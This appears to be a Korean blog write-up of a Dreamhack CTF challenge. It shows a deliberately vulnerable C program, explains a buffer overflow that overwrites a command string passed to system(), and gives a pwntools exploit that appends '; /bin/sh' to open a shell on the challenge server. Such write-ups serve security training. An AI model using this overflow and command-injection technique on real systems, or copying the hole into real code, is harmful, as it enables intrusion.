문제 코드
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
코드 설명
center_name에 보다 많은 길이를 입력 가능해서 cmd_ip까지 overwrite이 가능
cmd_ip를 "ipconfig" 와 비교 시 8바이트 만큼의 길이만 비교하고 메타 문자에 대한 검사가 없음
익스 설계
center_name에 cmd_ip까지 ifconfg; /bin/sh을 overwrite을 한다
익스 코드
from pwn import*
p = remote('host3.dreamhack.games', 11764)
payload = b'A'*32
payload += b'ifconfig' + b'; ' + b'/bin/sh'
p.sendafter(b'Center name: ', payload)
p.interactive()
'System Hacking' 카테고리의 다른 글
[Dreamhack] basic_heap_overflow write up - 티스토리 (0) | 2023.10.01 |
---|---|
[Dreamhack] validator 풀이 - 티스토리 (0) | 2023.08.30 |
[Dreamhack] Type Error, sint 풀이 - 티스토리 (0) | 2023.08.22 |
[Dreamhack] tcachee_dup2 풀이 - 티스토리 (0) | 2023.08.21 |
[Dreamhack] tcache dup 풀이 - 티스토리 (0) | 2023.08.17 |